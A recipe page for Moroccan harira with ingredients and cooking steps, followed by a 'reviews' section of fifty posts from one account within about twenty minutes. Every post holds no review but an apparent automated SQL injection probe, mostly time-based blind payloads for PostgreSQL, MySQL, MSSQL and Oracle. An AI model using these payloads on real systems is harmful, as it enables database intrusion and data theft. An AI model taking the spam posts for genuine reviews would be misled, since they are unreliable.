+212 5233-52507

Moroccan Harira

MOROCCAN HARIRA

Ingredients :

  • 8 oz. lamb, beef or chicken, diced.
  • 3 tbsp vegetable or olive oil.
  • several soup bones (optional).
  • 2 lbs soft, ripe tomatoes (about 6 large).
  • 1 handful dry chickpeas, soaked and peeled.
  • 2 handfuls dry green or brown lentils.
  • 1 large onion, grated.
  • 1 stalk celery (with leaves), chopped.
  • 1 small bunch flat leaf parsley, finely chopped.
  • 1 small bunch coriander, finely chopped.
  • 1 tbsp smen (optional).
  • 1 tbsp salt.
  • 1 tbsp ginger.
  • 1.5 tsp black pepper.
  • 1 tsp ground cinnamon.
  • 1/2 tsp turmeric.
  • 3 tbsp tomato paste combined with 1 or 2 cups water.
  • 3 tbsp uncooked rice OR broken vermicelli.
  • 1 cup flour combined with 2 cups water.
  • lemon wedges and coriander (optional) for garnish.

Instructions :

Ahead of Time - Prep Ingredients
Soak the chickpeas overnight. The next day, drain and peel them. This is easily done by pressing chickpeas one-by-one between your forefinger and thumb or by rubbing all of the chickpeas vigorously in a kitchen towel. (The prepped chickpeas may be be frozen until needed.)
Pick through the lentils to remove any stones and debris; set aside until ready to use. 
Stew the tomatoes then pass them through a food mill to make a puree; discard the skins and seeds. Or, cut the tomatoes into quarters and process them, with or without skin, in a food processor until smooth. (The pureed tomatoes may be frozen until needed.)
Grate the onion or process it to a thick pulp in a food processor. (The grated onion may be mixed with the pureed tomatoes and frozen until needed.)
Wash the celery and finely chop it. Set aside. Remove and discard large pieces of stem from the parsley and coriander. Wash the parsley and coriander and leave to drain thoroughly before chopping finely by hand or in a food processor. (The chopped herbs may be mixed together and frozen until needed.)


Make the Soup
In a 6-quart or larger pressure cooker or stock pot, brown the meat in the oil over medium heat. Add the soup bones, peeled chickpeas, pureed tomatoes, grated onion, spices, smen (if using) and 3 cups (710 ml) of water. Bring to a boil, cover and cook with medium pressure for 25 minutes (or simmer for 50 to 60 minutes).
Add the lentils, tomato paste mixture, chopped herbs and 8.5 cups (2 liters) water. Bring to a boil and cover.  Continue to step 3 or step 4.
If planning to add rice, cook the soup with medium pressure for 30 minutes (or simmer for 60 minutes); add the rice, and continue cooking with pressure for another 15 minutes (or 30 minutes by simmering). 
OR if planning to add broken vermicelli, cook the soup with pressure for 45 minutes (or simmer for 90 minutes) before stirring in the broken vermicelli. Continue simmering for a few minutes until the vermicelli is tender.
Taste and adjust seasoning. Thicken the soup to a silky, cream-like consistency by gradually adding the tedouira (flour and water mixture), stirring constantly to ensure that it's well blended. Use only as much as is needed to make the soup as thick as you like. 
Simmer the soup for another 5 to 10 minutes, stirring occasionally and skimming off any foam that forms on the surface. 
Remove from the heat and serve. 


Sign In to publish a review


Reviews (50)

- July 7, 2024 at 1:12:52 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:14:58 PM -

lxbfYeaa lxbfYeaa

555-1) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:15:24 PM -

lxbfYeaa lxbfYeaa

555YQbgY5K3' OR 48=(SELECT 48 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:28:45 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 1:30:48 PM -

lxbfYeaa lxbfYeaa

@@93cHY
- July 7, 2024 at 1:28:57 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 1:13:06 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 1:12:37 PM -

lxbfYeaa lxbfYeaa

555fTkhvGj5
- July 7, 2024 at 1:27:34 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+542-542-1=0+0+0+1
- July 7, 2024 at 1:15:48 PM -

lxbfYeaa lxbfYeaa

555Z7dVCI0V')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:14:21 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 1:27:34 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+542-542-1=0+0+0+1
- July 7, 2024 at 1:30:46 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 1:28:32 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 1:12:53 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+465-465-1=0+0+0+1
- July 7, 2024 at 1:29:22 PM -

lxbfYeaa lxbfYeaa

555-1 OR 892=(SELECT 892 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:30:10 PM -

lxbfYeaa lxbfYeaa

55549xx4wuK') OR 686=(SELECT 686 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:27:57 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 1:12:51 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:29:34 PM -

lxbfYeaa lxbfYeaa

555-1) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:16:12 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 1:15:59 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 1:29:46 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:27:33 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:16:12 PM -

lxbfYeaa lxbfYeaa

@@WZsRA
- July 7, 2024 at 1:12:53 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+465-465-1=0+0+0+1
- July 7, 2024 at 1:27:33 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:12:52 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:13:43 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 1:14:46 PM -

lxbfYeaa lxbfYeaa

555-1 OR 279=(SELECT 279 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:29:09 PM -

lxbfYeaa lxbfYeaa

555H2TVQwQL'; waitfor delay '0:0:15' --
- July 7, 2024 at 1:27:19 PM -

lxbfYeaa lxbfYeaa

555t3PHp22u
- July 7, 2024 at 1:14:08 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 1:13:55 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 1:13:31 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 1:27:32 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:15:36 PM -

lxbfYeaa lxbfYeaa

555slqH3rrZ') OR 95=(SELECT 95 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:13:19 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 1:27:32 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:30:22 PM -

lxbfYeaa lxbfYeaa

555UOFCy3LC')) OR 754=(SELECT 754 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:15:11 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 435=(SELECT 435 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:14:33 PM -

lxbfYeaa lxbfYeaa

555OLIEUyJt'; waitfor delay '0:0:15' --
- July 7, 2024 at 1:30:34 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 1:28:20 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 1:16:11 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 1:29:58 PM -

lxbfYeaa lxbfYeaa

555KxDlsQuO' OR 50=(SELECT 50 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:28:09 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 1:30:47 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 1:27:45 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 1:12:53 PM -

lxbfYeaa lxbfYeaa

555*1